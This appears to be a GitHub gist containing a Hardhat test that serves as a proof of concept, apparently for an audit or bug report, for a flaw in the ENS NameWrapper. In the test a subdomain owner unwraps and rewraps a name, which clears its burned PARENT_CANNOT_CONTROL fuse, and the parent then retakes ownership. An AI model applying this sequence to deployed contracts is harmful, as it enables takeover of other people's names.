Skip to content

Instantly share code, notes, and snippets.

@panprog
Created July 19, 2022 07:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save panprog/71dea0fd1875b4d7d5849f7da822ea8b to your computer and use it in GitHub Desktop.
Save panprog/71dea0fd1875b4d7d5849f7da822ea8b to your computer and use it in GitHub Desktop.
Bypass PCC check PoC
const packet = require('dns-packet')
const fs = require('fs')
const { ethers } = require('hardhat')
const { utils, BigNumber: BN } = ethers
const { use, expect } = require('chai')
const { solidity } = require('ethereum-waffle')
const n = require('eth-ens-namehash')
const namehash = n.hash
const { shouldBehaveLikeERC1155 } = require('./ERC1155.behaviour')
const { shouldSupportInterfaces } = require('./SupportsInterface.behaviour')
const { ZERO_ADDRESS } = require('@openzeppelin/test-helpers/src/constants')
const { deploy } = require('../test-utils/contracts')
const { keccak256 } = require('ethers/lib/utils')
const { encode } = require('punycode')
const TestNameWrapperReentracy = artifacts.require("TestNameWrapperReentrancy");
const abiCoder = new ethers.utils.AbiCoder()
use(solidity)
const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label))
const ROOT_NODE =
'0x0000000000000000000000000000000000000000000000000000000000000000'
const EMPTY_BYTES32 =
'0x0000000000000000000000000000000000000000000000000000000000000000'
const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000'
const DUMMY_ADDRESS = '0x0000000000000000000000000000000000000001'
function increaseTime(delay) {
return ethers.provider.send('evm_increaseTime', [delay])
}
function mine() {
return ethers.provider.send('evm_mine')
}
function encodeName(name) {
return '0x' + packet.name.encode(name).toString('hex')
}
const CANNOT_UNWRAP = 1
const CANNOT_BURN_FUSES = 2
const CANNOT_TRANSFER = 4
const CANNOT_SET_RESOLVER = 8
const CANNOT_SET_TTL = 16
const CANNOT_CREATE_SUBDOMAIN = 32
const PARENT_CANNOT_CONTROL = 64
const CAN_DO_EVERYTHING = 0
//Enum for vulnerabilities
const ParentVulnerability = {
Safe: 0,
Registrant: 1,
Controller: 2,
Fuses: 3,
Expired: 4,
}
describe('Name Wrapper', () => {
let ENSRegistry
let ENSRegistry2
let BaseRegistrar
let BaseRegistrar2
let NameWrapper
let NameWrapper2
let NameWrapperUpgraded
let MetaDataservice
let signers
let accounts
let account
let account2
let result
let MAX_EXPIRY = 2n ** 64n - 1n
/* Utility funcs */
async function registerSetupAndWrapName(label, account, fuses, expiry = 0) {
const tokenId = labelhash(label)
await BaseRegistrar.register(tokenId, account, 84600)
await BaseRegistrar.setApprovalForAll(NameWrapper.address, true)
await NameWrapper.wrapETH2LD(label, account, fuses, expiry, EMPTY_ADDRESS)
}
before(async () => {
signers = await ethers.getSigners()
account = await signers[0].getAddress()
account2 = await signers[1].getAddress()
EnsRegistry = await deploy('ENSRegistry')
EnsRegistry2 = EnsRegistry.connect(signers[1])
BaseRegistrar = await deploy(
'BaseRegistrarImplementation',
EnsRegistry.address,
namehash('eth')
)
BaseRegistrar2 = BaseRegistrar.connect(signers[1])
await BaseRegistrar.addController(account)
await BaseRegistrar.addController(account2)
MetaDataservice = await deploy(
'StaticMetadataService',
'https://ens.domains'
)
NameWrapper = await deploy(
'NameWrapper',
EnsRegistry.address,
BaseRegistrar.address,
MetaDataservice.address
)
NameWrapper2 = NameWrapper.connect(signers[1])
NameWrapperUpgraded = await deploy(
'UpgradedNameWrapperMock',
NameWrapper.address,
EnsRegistry.address,
BaseRegistrar.address
)
// setup .eth
await EnsRegistry.setSubnodeOwner(
ROOT_NODE,
labelhash('eth'),
BaseRegistrar.address
)
// setup .xyz
await EnsRegistry.setSubnodeOwner(ROOT_NODE, labelhash('xyz'), account)
//make sure base registrar is owner of eth TLD
expect(await EnsRegistry.owner(namehash('eth'))).to.equal(
BaseRegistrar.address
)
})
beforeEach(async () => {
result = await ethers.provider.send('evm_snapshot')
})
afterEach(async () => {
await ethers.provider.send('evm_revert', [result])
})
describe('NameWrapper', () => {
it('BypassPCC', async () => {
await BaseRegistrar.setApprovalForAll(NameWrapper.address, true)
await EnsRegistry.setApprovalForAll(NameWrapper.address, true)
await EnsRegistry.connect(signers[1]).setApprovalForAll(NameWrapper.address, true)
await BaseRegistrar.register(labelhash('test'), account, 84600)
await NameWrapper.wrapETH2LD(
'test',
account,
CANNOT_UNWRAP,
MAX_EXPIRY,
EMPTY_ADDRESS
)
// Alice creates subdomain for Bob, burning PARENT_CANNOT_CONTROL
await NameWrapper.setSubnodeOwner(namehash('test.eth'), 'bob', account2, PARENT_CANNOT_CONTROL, MAX_EXPIRY)
expect(await NameWrapper.ownerOf(namehash('bob.test.eth'))).to.equal(account2)
;[fuses, expiry] = await NameWrapper.getFuses(namehash("bob.test.eth"))
const expectedExpiry = (
await BaseRegistrar.nameExpires(labelhash('test'))
).toNumber()
expect(fuses).to.equal(PARENT_CANNOT_CONTROL)
expect(expiry).to.equal(expectedExpiry)
// at this point according to:
// 15. Calling getData on a name and checking that
// a. The expiration timestamp is in the future, and
// b. The required fuse is burned,
// should be sufficient to establish that that operation is not possible on that name through
// any sequence of operations prior to the expiration timestamp.
//
// Both a. and b. checks, which means that since PARENT_CANNOT_CONTROL is burnt, no sequence of operations
// should make parent possible to regain control.
// Bob unwraps domain to himself
await NameWrapper.connect(signers[1]).unwrap(namehash('test.eth'), labelhash('bob'), account2)
// then wraps it again, clearing any fuses in the process
await NameWrapper.connect(signers[1]).wrap(encodeName('bob.test.eth'), account2, EMPTY_ADDRESS)
;[fuses, expiry] = await NameWrapper.getFuses(namehash("bob.test.eth"))
// fuses and expiration is now cleared
expect(fuses).to.equal(0)
expect(expiry).to.equal(0)
// at this point Alice can regain control of the domain by setting owner to herself
await NameWrapper.setSubnodeOwner(namehash('test.eth'), 'bob', account, 0, 0)
// This sequence of operations led to Alice regaining control of the domain thus failing 15.
expect(await NameWrapper.ownerOf(namehash('bob.test.eth'))).to.equal(account)
})
})
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment